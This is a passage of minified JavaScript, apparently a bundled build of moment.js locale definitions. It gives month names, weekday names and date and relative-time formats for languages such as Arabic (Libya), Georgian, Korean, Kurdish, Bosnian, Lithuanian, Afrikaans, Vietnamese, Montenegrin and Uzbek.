\u0648\u0627\u062d\u062f",["\u064a\u0648\u0645\u0627\u0646","\u064a\u0648\u0645\u064a\u0646"],"%d \u0623\u064a\u0627\u0645","%d \u064a\u0648\u0645\u064b\u0627","%d \u064a\u0648\u0645"],M:["\u0623\u0642\u0644 \u0645\u0646 \u0634\u0647\u0631","\u0634\u0647\u0631 \u0648\u0627\u062d\u062f",["\u0634\u0647\u0631\u0627\u0646","\u0634\u0647\u0631\u064a\u0646"],"%d \u0623\u0634\u0647\u0631","%d \u0634\u0647\u0631\u0627","%d \u0634\u0647\u0631"],y:["\u0623\u0642\u0644 \u0645\u0646 \u0639\u0627\u0645","\u0639\u0627\u0645 \u0648\u0627\u062d\u062f",["\u0639\u0627\u0645\u0627\u0646","\u0639\u0627\u0645\u064a\u0646"],"%d \u0623\u0639\u0648\u0627\u0645","%d \u0639\u0627\u0645\u064b\u0627","%d \u0639\u0627\u0645"]},r=function(e){return function(t,r,i,s){var o=n(t),l=a[e][n(t)];return 2===o&&(l=l[r?0:1]),l.replace(/%d/i,t)}},i=["\u064a\u0646\u0627\u064a\u0631","\u0641\u0628\u0631\u0627\u064a\u0631","\u0645\u0627\u0631\u0633","\u0623\u0628\u0631\u064a\u0644","\u0645\u0627\u064a\u0648","\u064a\u0648\u0646\u064a\u0648","\u064a\u0648\u0644\u064a\u0648","\u0623\u063a\u0633\u0637\u0633","\u0633\u0628\u062a\u0645\u0628\u0631","\u0623\u0643\u062a\u0648\u0628\u0631","\u0646\u0648\u0641\u0645\u0628\u0631","\u062f\u064a\u0633\u0645\u0628\u0631"];e.defineLocale("ar-ly",{months:i,monthsShort:i,weekdays:"\u0627\u0644\u0623\u062d\u062f_\u0627\u0644\u0625\u062b\u0646\u064a\u0646_\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621_\u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621_\u0627\u0644\u062e\u0645\u064a\u0633_\u0627\u0644\u062c\u0645\u0639\u0629_\u0627\u0644\u0633\u0628\u062a".split("_"),weekdaysShort:"\u0623\u062d\u062f_\u0625\u062b\u0646\u064a\u0646_\u062b\u0644\u0627\u062b\u0627\u0621_\u0623\u0631\u0628\u0639\u0627\u0621_\u062e\u0645\u064a\u0633_\u062c\u0645\u0639\u0629_\u0633\u0628\u062a".split("_"),weekdaysMin:"\u062d_\u0646_\u062b_\u0631_\u062e_\u062c_\u0633".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/\u200fM/\u200fYYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/\u0635|\u0645/,isPM:function(e){return"\u0645"===e},meridiem:function(e,t,n){return e<12?"\u0635":"\u0645"},calendar:{sameDay:"[\u0627\u0644\u064a\u0648\u0645 \u0639\u0646\u062f \u0627\u0644\u0633\u0627\u0639\u0629] LT",nextDay:"[\u063a\u062f\u064b\u0627 \u0639\u0646\u062f \u0627\u0644\u0633\u0627\u0639\u0629] LT",nextWeek:"dddd [\u0639\u0646\u062f \u0627\u0644\u0633\u0627\u0639\u0629] LT",lastDay:"[\u0623\u0645\u0633 \u0639\u0646\u062f \u0627\u0644\u0633\u0627\u0639\u0629] LT",lastWeek:"dddd [\u0639\u0646\u062f \u0627\u0644\u0633\u0627\u0639\u0629] LT",sameElse:"L"},relativeTime:{future:"\u0628\u0639\u062f %s",past:"\u0645\u0646\u0630 %s",s:r("s"),ss:r("s"),m:r("m"),mm:r("m"),h:r("h"),hh:r("h"),d:r("d"),dd:r("d"),M:r("M"),MM:r("M"),y:r("y"),yy:r("y")},preparse:function(e){return e.replace(/\u060c/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"\u060c")},week:{dow:6,doy:12}})}(n("wd/R"))},IBtZ:function(e,t,n){!function(e){"use strict";e.defineLocale("ka",{months:"\u10d8\u10d0\u10dc\u10d5\u10d0\u10e0\u10d8_\u10d7\u10d4\u10d1\u10d4\u10e0\u10d5\u10d0\u10da\u10d8_\u10db\u10d0\u10e0\u10e2\u10d8_\u10d0\u10de\u10e0\u10d8\u10da\u10d8_\u10db\u10d0\u10d8\u10e1\u10d8_\u10d8\u10d5\u10dc\u10d8\u10e1\u10d8_\u10d8\u10d5\u10da\u10d8\u10e1\u10d8_\u10d0\u10d2\u10d5\u10d8\u10e1\u10e2\u10dd_\u10e1\u10d4\u10e5\u10e2\u10d4\u10db\u10d1\u10d4\u10e0\u10d8_\u10dd\u10e5\u10e2\u10dd\u10db\u10d1\u10d4\u10e0\u10d8_\u10dc\u10dd\u10d4\u10db\u10d1\u10d4\u10e0\u10d8_\u10d3\u10d4\u10d9\u10d4\u10db\u10d1\u10d4\u10e0\u10d8".split("_"),monthsShort:"\u10d8\u10d0\u10dc_\u10d7\u10d4\u10d1_\u10db\u10d0\u10e0_\u10d0\u10de\u10e0_\u10db\u10d0\u10d8_\u10d8\u10d5\u10dc_\u10d8\u10d5\u10da_\u10d0\u10d2\u10d5_\u10e1\u10d4\u10e5_\u10dd\u10e5\u10e2_\u10dc\u10dd\u10d4_\u10d3\u10d4\u10d9".split("_"),weekdays:{standalone:"\u10d9\u10d5\u10d8\u10e0\u10d0_\u10dd\u10e0\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8_\u10e1\u10d0\u10db\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8_\u10dd\u10d7\u10ee\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8_\u10ee\u10e3\u10d7\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8_\u10de\u10d0\u10e0\u10d0\u10e1\u10d9\u10d4\u10d5\u10d8_\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8".split("_"),format:"\u10d9\u10d5\u10d8\u10e0\u10d0\u10e1_\u10dd\u10e0\u10e8\u10d0\u10d1\u10d0\u10d7\u10e1_\u10e1\u10d0\u10db\u10e8\u10d0\u10d1\u10d0\u10d7\u10e1_\u10dd\u10d7\u10ee\u10e8\u10d0\u10d1\u10d0\u10d7\u10e1_\u10ee\u10e3\u10d7\u10e8\u10d0\u10d1\u10d0\u10d7\u10e1_\u10de\u10d0\u10e0\u10d0\u10e1\u10d9\u10d4\u10d5\u10e1_\u10e8\u10d0\u10d1\u10d0\u10d7\u10e1".split("_"),isFormat:/(\u10ec\u10d8\u10dc\u10d0|\u10e8\u10d4\u10db\u10d3\u10d4\u10d2)/},weekdaysShort:"\u10d9\u10d5\u10d8_\u10dd\u10e0\u10e8_\u10e1\u10d0\u10db_\u10dd\u10d7\u10ee_\u10ee\u10e3\u10d7_\u10de\u10d0\u10e0_\u10e8\u10d0\u10d1".split("_"),weekdaysMin:"\u10d9\u10d5_\u10dd\u10e0_\u10e1\u10d0_\u10dd\u10d7_\u10ee\u10e3_\u10de\u10d0_\u10e8\u10d0".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[\u10d3\u10e6\u10d4\u10e1] LT[-\u10d6\u10d4]",nextDay:"[\u10ee\u10d5\u10d0\u10da] LT[-\u10d6\u10d4]",lastDay:"[\u10d2\u10e3\u10e8\u10d8\u10dc] LT[-\u10d6\u10d4]",nextWeek:"[\u10e8\u10d4\u10db\u10d3\u10d4\u10d2] dddd LT[-\u10d6\u10d4]",lastWeek:"[\u10ec\u10d8\u10dc\u10d0] dddd LT-\u10d6\u10d4",sameElse:"L"},relativeTime:{future:function(e){return e.replace(/(\u10ec\u10d0\u10db|\u10ec\u10e3\u10d7|\u10e1\u10d0\u10d0\u10d7|\u10ec\u10d4\u10da|\u10d3\u10e6|\u10d7\u10d5)(\u10d8|\u10d4)/,(function(e,t,n){return"\u10d8"===n?t+"\u10e8\u10d8":t+n+"\u10e8\u10d8"}))},past:function(e){return/(\u10ec\u10d0\u10db\u10d8|\u10ec\u10e3\u10d7\u10d8|\u10e1\u10d0\u10d0\u10d7\u10d8|\u10d3\u10e6\u10d4|\u10d7\u10d5\u10d4)/.test(e)?e.replace(/(\u10d8|\u10d4)$/,"\u10d8\u10e1 \u10ec\u10d8\u10dc"):/\u10ec\u10d4\u10da\u10d8/.test(e)?e.replace(/\u10ec\u10d4\u10da\u10d8$/,"\u10ec\u10da\u10d8\u10e1 \u10ec\u10d8\u10dc"):e},s:"\u10e0\u10d0\u10db\u10d3\u10d4\u10dc\u10d8\u10db\u10d4 \u10ec\u10d0\u10db\u10d8",ss:"%d \u10ec\u10d0\u10db\u10d8",m:"\u10ec\u10e3\u10d7\u10d8",mm:"%d \u10ec\u10e3\u10d7\u10d8",h:"\u10e1\u10d0\u10d0\u10d7\u10d8",hh:"%d \u10e1\u10d0\u10d0\u10d7\u10d8",d:"\u10d3\u10e6\u10d4",dd:"%d \u10d3\u10e6\u10d4",M:"\u10d7\u10d5\u10d4",MM:"%d \u10d7\u10d5\u10d4",y:"\u10ec\u10d4\u10da\u10d8",yy:"%d \u10ec\u10d4\u10da\u10d8"},dayOfMonthOrdinalParse:/0|1-\u10da\u10d8|\u10db\u10d4-\d{1,2}|\d{1,2}-\u10d4/,ordinal:function(e){return 0===e?e:1===e?e+"-\u10da\u10d8":e<20||e<=100&&e%20==0||e%100==0?"\u10db\u10d4-"+e:e+"-\u10d4"},week:{dow:1,doy:7}})}(n("wd/R"))},"Ivi+":function(e,t,n){!function(e){"use strict";e.defineLocale("ko",{months:"1\uc6d4_2\uc6d4_3\uc6d4_4\uc6d4_5\uc6d4_6\uc6d4_7\uc6d4_8\uc6d4_9\uc6d4_10\uc6d4_11\uc6d4_12\uc6d4".split("_"),monthsShort:"1\uc6d4_2\uc6d4_3\uc6d4_4\uc6d4_5\uc6d4_6\uc6d4_7\uc6d4_8\uc6d4_9\uc6d4_10\uc6d4_11\uc6d4_12\uc6d4".split("_"),weekdays:"\uc77c\uc694\uc77c_\uc6d4\uc694\uc77c_\ud654\uc694\uc77c_\uc218\uc694\uc77c_\ubaa9\uc694\uc77c_\uae08\uc694\uc77c_\ud1a0\uc694\uc77c".split("_"),weekdaysShort:"\uc77c_\uc6d4_\ud654_\uc218_\ubaa9_\uae08_\ud1a0".split("_"),weekdaysMin:"\uc77c_\uc6d4_\ud654_\uc218_\ubaa9_\uae08_\ud1a0".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"YYYY.MM.DD.",LL:"YYYY\ub144 MMMM D\uc77c",LLL:"YYYY\ub144 MMMM D\uc77c A h:mm",LLLL:"YYYY\ub144 MMMM D\uc77c dddd A h:mm",l:"YYYY.MM.DD.",ll:"YYYY\ub144 MMMM D\uc77c",lll:"YYYY\ub144 MMMM D\uc77c A h:mm",llll:"YYYY\ub144 MMMM D\uc77c dddd A h:mm"},calendar:{sameDay:"\uc624\ub298 LT",nextDay:"\ub0b4\uc77c LT",nextWeek:"dddd LT",lastDay:"\uc5b4\uc81c LT",lastWeek:"\uc9c0\ub09c\uc8fc dddd LT",sameElse:"L"},relativeTime:{future:"%s \ud6c4",past:"%s \uc804",s:"\uba87 \ucd08",ss:"%d\ucd08",m:"1\ubd84",mm:"%d\ubd84",h:"\ud55c \uc2dc\uac04",hh:"%d\uc2dc\uac04",d:"\ud558\ub8e8",dd:"%d\uc77c",M:"\ud55c \ub2ec",MM:"%d\ub2ec",y:"\uc77c \ub144",yy:"%d\ub144"},dayOfMonthOrdinalParse:/\d{1,2}(\uc77c|\uc6d4|\uc8fc)/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+"\uc77c";case"M":return e+"\uc6d4";case"w":case"W":return e+"\uc8fc";default:return e}},meridiemParse:/\uc624\uc804|\uc624\ud6c4/,isPM:function(e){return"\uc624\ud6c4"===e},meridiem:function(e,t,n){return e<12?"\uc624\uc804":"\uc624\ud6c4"}})}(n("wd/R"))},"JCF/":function(e,t,n){!function(e){"use strict";var t={1:"\u0661",2:"\u0662",3:"\u0663",4:"\u0664",5:"\u0665",6:"\u0666",7:"\u0667",8:"\u0668",9:"\u0669",0:"\u0660"},n={"\u0661":"1","\u0662":"2","\u0663":"3","\u0664":"4","\u0665":"5","\u0666":"6","\u0667":"7","\u0668":"8","\u0669":"9","\u0660":"0"},a=["\u06a9\u0627\u0646\u0648\u0646\u06cc \u062f\u0648\u0648\u06d5\u0645","\u0634\u0648\u0628\u0627\u062a","\u0626\u0627\u0632\u0627\u0631","\u0646\u06cc\u0633\u0627\u0646","\u0626\u0627\u06cc\u0627\u0631","\u062d\u0648\u0632\u06d5\u06cc\u0631\u0627\u0646","\u062a\u06d5\u0645\u0645\u0648\u0632","\u0626\u0627\u0628","\u0626\u06d5\u06cc\u0644\u0648\u0648\u0644","\u062a\u0634\u0631\u06cc\u0646\u06cc \u06cc\u06d5\u0643\u06d5\u0645","\u062a\u0634\u0631\u06cc\u0646\u06cc \u062f\u0648\u0648\u06d5\u0645","\u0643\u0627\u0646\u0648\u0646\u06cc \u06cc\u06d5\u06a9\u06d5\u0645"];e.defineLocale("ku",{months:a,monthsShort:a,weekdays:"\u06cc\u0647\u200c\u0643\u0634\u0647\u200c\u0645\u0645\u0647\u200c_\u062f\u0648\u0648\u0634\u0647\u200c\u0645\u0645\u0647\u200c_\u0633\u06ce\u0634\u0647\u200c\u0645\u0645\u0647\u200c_\u0686\u0648\u0627\u0631\u0634\u0647\u200c\u0645\u0645\u0647\u200c_\u067e\u06ce\u0646\u062c\u0634\u0647\u200c\u0645\u0645\u0647\u200c_\u0647\u0647\u200c\u06cc\u0646\u06cc_\u0634\u0647\u200c\u0645\u0645\u0647\u200c".split("_"),weekdaysShort:"\u06cc\u0647\u200c\u0643\u0634\u0647\u200c\u0645_\u062f\u0648\u0648\u0634\u0647\u200c\u0645_\u0633\u06ce\u0634\u0647\u200c\u0645_\u0686\u0648\u0627\u0631\u0634\u0647\u200c\u0645_\u067e\u06ce\u0646\u062c\u0634\u0647\u200c\u0645_\u0647\u0647\u200c\u06cc\u0646\u06cc_\u0634\u0647\u200c\u0645\u0645\u0647\u200c".split("_"),weekdaysMin:"\u06cc_\u062f_\u0633_\u0686_\u067e_\u0647_\u0634".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},meridiemParse:/\u0626\u06ce\u0648\u0627\u0631\u0647\u200c|\u0628\u0647\u200c\u06cc\u0627\u0646\u06cc/,isPM:function(e){return/\u0626\u06ce\u0648\u0627\u0631\u0647\u200c/.test(e)},meridiem:function(e,t,n){return e<12?"\u0628\u0647\u200c\u06cc\u0627\u0646\u06cc":"\u0626\u06ce\u0648\u0627\u0631\u0647\u200c"},calendar:{sameDay:"[\u0626\u0647\u200c\u0645\u0631\u06c6 \u0643\u0627\u062a\u0698\u0645\u06ce\u0631] LT",nextDay:"[\u0628\u0647\u200c\u06cc\u0627\u0646\u06cc \u0643\u0627\u062a\u0698\u0645\u06ce\u0631] LT",nextWeek:"dddd [\u0643\u0627\u062a\u0698\u0645\u06ce\u0631] LT",lastDay:"[\u062f\u0648\u06ce\u0646\u06ce \u0643\u0627\u062a\u0698\u0645\u06ce\u0631] LT",lastWeek:"dddd [\u0643\u0627\u062a\u0698\u0645\u06ce\u0631] LT",sameElse:"L"},relativeTime:{future:"\u0644\u0647\u200c %s",past:"%s",s:"\u0686\u0647\u200c\u0646\u062f \u0686\u0631\u0643\u0647\u200c\u06cc\u0647\u200c\u0643",ss:"\u0686\u0631\u0643\u0647\u200c %d",m:"\u06cc\u0647\u200c\u0643 \u062e\u0648\u0644\u0647\u200c\u0643",mm:"%d \u062e\u0648\u0644\u0647\u200c\u0643",h:"\u06cc\u0647\u200c\u0643 \u0643\u0627\u062a\u0698\u0645\u06ce\u0631",hh:"%d \u0643\u0627\u062a\u0698\u0645\u06ce\u0631",d:"\u06cc\u0647\u200c\u0643 \u0695\u06c6\u0698",dd:"%d \u0695\u06c6\u0698",M:"\u06cc\u0647\u200c\u0643 \u0645\u0627\u0646\u06af",MM:"%d \u0645\u0627\u0646\u06af",y:"\u06cc\u0647\u200c\u0643 \u0633\u0627\u06b5",yy:"%d \u0633\u0627\u06b5"},preparse:function(e){return e.replace(/[\u0661\u0662\u0663\u0664\u0665\u0666\u0667\u0668\u0669\u0660]/g,(function(e){return n[e]})).replace(/\u060c/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"\u060c")},week:{dow:6,doy:12}})}(n("wd/R"))},JVSJ:function(e,t,n){!function(e){"use strict";function t(e,t,n){var a=e+" ";switch(n){case"ss":return a+(1===e?"sekunda":2===e||3===e||4===e?"sekunde":"sekundi");case"m":return t?"jedna minuta":"jedne minute";case"mm":return a+(1===e?"minuta":2===e||3===e||4===e?"minute":"minuta");case"h":return t?"jedan sat":"jednog sata";case"hh":return a+(1===e?"sat":2===e||3===e||4===e?"sata":"sati");case"dd":return a+(1===e?"dan":"dana");case"MM":return a+(1===e?"mjesec":2===e||3===e||4===e?"mjeseca":"mjeseci");case"yy":return a+(1===e?"godina":2===e||3===e||4===e?"godine":"godina")}}e.defineLocale("bs",{months:"januar_februar_mart_april_maj_juni_juli_august_septembar_oktobar_novembar_decembar".split("_"),monthsShort:"jan._feb._mar._apr._maj._jun._jul._aug._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedjelja_ponedjeljak_utorak_srijeda_\u010detvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sri._\u010det._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_\u010de_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedjelju] [u] LT";case 3:return"[u] [srijedu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[ju\u010der u] LT",lastWeek:function(){switch(this.day()){case 0:case 3:return"[pro\u0161lu] dddd [u] LT";case 6:return"[pro\u0161le] [subote] [u] LT";case 1:case 2:case 4:case 5:return"[pro\u0161li] dddd [u] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"prije %s",s:"par sekundi",ss:t,m:t,mm:t,h:t,hh:t,d:"dan",dd:t,M:"mjesec",MM:t,y:"godinu",yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n("wd/R"))},"Ju5/":function(e,t,n){"use strict";var a=n("XqMk"),r="object"==typeof self&&self&&self.Object===Object&&self,i=a.a||r||Function("return this")();t.a=i},JvlW:function(e,t,n){!function(e){"use strict";var t={ss:"sekund\u0117_sekund\u017ei\u0173_sekundes",m:"minut\u0117_minut\u0117s_minut\u0119",mm:"minut\u0117s_minu\u010di\u0173_minutes",h:"valanda_valandos_valand\u0105",hh:"valandos_valand\u0173_valandas",d:"diena_dienos_dien\u0105",dd:"dienos_dien\u0173_dienas",M:"m\u0117nuo_m\u0117nesio_m\u0117nes\u012f",MM:"m\u0117nesiai_m\u0117nesi\u0173_m\u0117nesius",y:"metai_met\u0173_metus",yy:"metai_met\u0173_metus"};function n(e,t,n,a){return t?r(n)[0]:a?r(n)[1]:r(n)[2]}function a(e){return e%10==0||e>10&&e<20}function r(e){return t[e].split("_")}function i(e,t,i,s){var o=e+" ";return 1===e?o+n(0,t,i[0],s):t?o+(a(e)?r(i)[1]:r(i)[0]):s?o+r(i)[1]:o+(a(e)?r(i)[1]:r(i)[2])}e.defineLocale("lt",{months:{format:"sausio_vasario_kovo_baland\u017eio_gegu\u017e\u0117s_bir\u017eelio_liepos_rugpj\u016b\u010dio_rugs\u0117jo_spalio_lapkri\u010dio_gruod\u017eio".split("_"),standalone:"sausis_vasaris_kovas_balandis_gegu\u017e\u0117_bir\u017eelis_liepa_rugpj\u016btis_rugs\u0117jis_spalis_lapkritis_gruodis".split("_"),isFormat:/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?|MMMM?(\[[^\[\]]*\]|\s)+D[oD]?/},monthsShort:"sau_vas_kov_bal_geg_bir_lie_rgp_rgs_spa_lap_grd".split("_"),weekdays:{format:"sekmadien\u012f_pirmadien\u012f_antradien\u012f_tre\u010diadien\u012f_ketvirtadien\u012f_penktadien\u012f_\u0161e\u0161tadien\u012f".split("_"),standalone:"sekmadienis_pirmadienis_antradienis_tre\u010diadienis_ketvirtadienis_penktadienis_\u0161e\u0161tadienis".split("_"),isFormat:/dddd HH:mm/},weekdaysShort:"Sek_Pir_Ant_Tre_Ket_Pen_\u0160e\u0161".split("_"),weekdaysMin:"S_P_A_T_K_Pn_\u0160".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY [m.] MMMM D [d.]",LLL:"YYYY [m.] MMMM D [d.], HH:mm [val.]",LLLL:"YYYY [m.] MMMM D [d.], dddd, HH:mm [val.]",l:"YYYY-MM-DD",ll:"YYYY [m.] MMMM D [d.]",lll:"YYYY [m.] MMMM D [d.], HH:mm [val.]",llll:"YYYY [m.] MMMM D [d.], ddd, HH:mm [val.]"},calendar:{sameDay:"[\u0160iandien] LT",nextDay:"[Rytoj] LT",nextWeek:"dddd LT",lastDay:"[Vakar] LT",lastWeek:"[Pra\u0117jus\u012f] dddd LT",sameElse:"L"},relativeTime:{future:"po %s",past:"prie\u0161 %s",s:function(e,t,n,a){return t?"kelios sekund\u0117s":a?"keli\u0173 sekund\u017ei\u0173":"kelias sekundes"},ss:i,m:n,mm:i,h:n,hh:i,d:n,dd:i,M:n,MM:i,y:n,yy:i},dayOfMonthOrdinalParse:/\d{1,2}-oji/,ordinal:function(e){return e+"-oji"},week:{dow:1,doy:4}})}(n("wd/R"))},"K/tc":function(e,t,n){!function(e){"use strict";e.defineLocale("af",{months:"Januarie_Februarie_Maart_April_Mei_Junie_Julie_Augustus_September_Oktober_November_Desember".split("_"),monthsShort:"Jan_Feb_Mrt_Apr_Mei_Jun_Jul_Aug_Sep_Okt_Nov_Des".split("_"),weekdays:"Sondag_Maandag_Dinsdag_Woensdag_Donderdag_Vrydag_Saterdag".split("_"),weekdaysShort:"Son_Maa_Din_Woe_Don_Vry_Sat".split("_"),weekdaysMin:"So_Ma_Di_Wo_Do_Vr_Sa".split("_"),meridiemParse:/vm|nm/i,isPM:function(e){return/^nm$/i.test(e)},meridiem:function(e,t,n){return e<12?n?"vm":"VM":n?"nm":"NM"},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Vandag om] LT",nextDay:"[M\xf4re om] LT",nextWeek:"dddd [om] LT",lastDay:"[Gister om] LT",lastWeek:"[Laas] dddd [om] LT",sameElse:"L"},relativeTime:{future:"oor %s",past:"%s gelede",s:"'n paar sekondes",ss:"%d sekondes",m:"'n minuut",mm:"%d minute",h:"'n uur",hh:"%d ure",d:"'n dag",dd:"%d dae",M:"'n maand",MM:"%d maande",y:"'n jaar",yy:"%d jaar"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(n("wd/R"))},KSF8:function(e,t,n){!function(e){"use strict";e.defineLocale("vi",{months:"th\xe1ng 1_th\xe1ng 2_th\xe1ng 3_th\xe1ng 4_th\xe1ng 5_th\xe1ng 6_th\xe1ng 7_th\xe1ng 8_th\xe1ng 9_th\xe1ng 10_th\xe1ng 11_th\xe1ng 12".split("_"),monthsShort:"Thg 01_Thg 02_Thg 03_Thg 04_Thg 05_Thg 06_Thg 07_Thg 08_Thg 09_Thg 10_Thg 11_Thg 12".split("_"),monthsParseExact:!0,weekdays:"ch\u1ee7 nh\u1eadt_th\u1ee9 hai_th\u1ee9 ba_th\u1ee9 t\u01b0_th\u1ee9 n\u0103m_th\u1ee9 s\xe1u_th\u1ee9 b\u1ea3y".split("_"),weekdaysShort:"CN_T2_T3_T4_T5_T6_T7".split("_"),weekdaysMin:"CN_T2_T3_T4_T5_T6_T7".split("_"),weekdaysParseExact:!0,meridiemParse:/sa|ch/i,isPM:function(e){return/^ch$/i.test(e)},meridiem:function(e,t,n){return e<12?n?"sa":"SA":n?"ch":"CH"},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM [n\u0103m] YYYY",LLL:"D MMMM [n\u0103m] YYYY HH:mm",LLLL:"dddd, D MMMM [n\u0103m] YYYY HH:mm",l:"DD/M/YYYY",ll:"D MMM YYYY",lll:"D MMM YYYY HH:mm",llll:"ddd, D MMM YYYY HH:mm"},calendar:{sameDay:"[H\xf4m nay l\xfac] LT",nextDay:"[Ng\xe0y mai l\xfac] LT",nextWeek:"dddd [tu\u1ea7n t\u1edbi l\xfac] LT",lastDay:"[H\xf4m qua l\xfac] LT",lastWeek:"dddd [tu\u1ea7n tr\u01b0\u1edbc l\xfac] LT",sameElse:"L"},relativeTime:{future:"%s t\u1edbi",past:"%s tr\u01b0\u1edbc",s:"v\xe0i gi\xe2y",ss:"%d gi\xe2y",m:"m\u1ed9t ph\xfat",mm:"%d ph\xfat",h:"m\u1ed9t gi\u1edd",hh:"%d gi\u1edd",d:"m\u1ed9t ng\xe0y",dd:"%d ng\xe0y",w:"m\u1ed9t tu\u1ea7n",ww:"%d tu\u1ea7n",M:"m\u1ed9t th\xe1ng",MM:"%d th\xe1ng",y:"m\u1ed9t n\u0103m",yy:"%d n\u0103m"},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:function(e){return e},week:{dow:1,doy:4}})}(n("wd/R"))},KTz0:function(e,t,n){!function(e){"use strict";var t={words:{ss:["sekund","sekunda","sekundi"],m:["jedan minut","jednog minuta"],mm:["minut","minuta","minuta"],h:["jedan sat","jednog sata"],hh:["sat","sata","sati"],dd:["dan","dana","dana"],MM:["mjesec","mjeseca","mjeseci"],yy:["godina","godine","godina"]},correctGrammaticalCase:function(e,t){return 1===e?t[0]:e>=2&&e<=4?t[1]:t[2]},translate:function(e,n,a){var r=t.words[a];return 1===a.length?n?r[0]:r[1]:e+" "+t.correctGrammaticalCase(e,r)}};e.defineLocale("me",{months:"januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar".split("_"),monthsShort:"jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedjelja_ponedjeljak_utorak_srijeda_\u010detvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sri._\u010det._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_\u010de_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sjutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedjelju] [u] LT";case 3:return"[u] [srijedu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[ju\u010de u] LT",lastWeek:function(){return["[pro\u0161le] [nedjelje] [u] LT","[pro\u0161log] [ponedjeljka] [u] LT","[pro\u0161log] [utorka] [u] LT","[pro\u0161le] [srijede] [u] LT","[pro\u0161log] [\u010detvrtka] [u] LT","[pro\u0161log] [petka] [u] LT","[pro\u0161le] [subote] [u] LT"][this.day()]},sameElse:"L"},relativeTime:{future:"za %s",past:"prije %s",s:"nekoliko sekundi",ss:t.translate,m:t.translate,mm:t.translate,h:t.translate,hh:t.translate,d:"dan",dd:t.translate,M:"mjesec",MM:t.translate,y:"godinu",yy:t.translate},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n("wd/R"))},L3Qv:function(e,t,n){"use strict";t.a=function(){return!1}},Loxo:function(e,t,n){!function(e){"use strict";e.defineLocale("uz",{months:"\u044f\u043d\u0432\u0430\u0440_\u0444\u0435\u0432\u0440\u0430\u043b_\u043c\u0430\u0440\u0442_\u0430\u043f\u0440\u0435\u043b_\u043c\u0430\u0439_\u0438\u044e\u043d_\u0438\u044e\u043b_\u0430\u0432\u0433\u0443\u0441\u0442_\u0441\u0435\u043d\u0442\u044f\u0431\u0440_\u043e\u043a\u0442\u044f\u0431\u0440_\u043d\u043e\u044f\u0431\u0440_\u0434\u0435\u043a\u0430\u0431\u0440".split("_"),monthsShort:"\u044f\u043d\u0432_\u0444\u0435\u0432_\u043c\u0430\u0440_\u0430\u043f\u0440_\u043c\u0430\u0439_\u0438\u044e\u043d_\u0438\u044e\u043b_\u0430\u0432\u0433_\u0441\u0435\u043d_\u043e\u043a\u0442_\u043d\u043e\u044f_\u0434\u0435\u043a".split("_"),weekdays:"\u042f\u043a\u0448\u0430\u043d\u0431\u0430_\u0414\u0443\u0448\u0430\u043d\u0431\u0430_\u0421\u0435\u0448\u0430\u043d\u0431\u0430_\u0427\u043e\u0440\u0448\u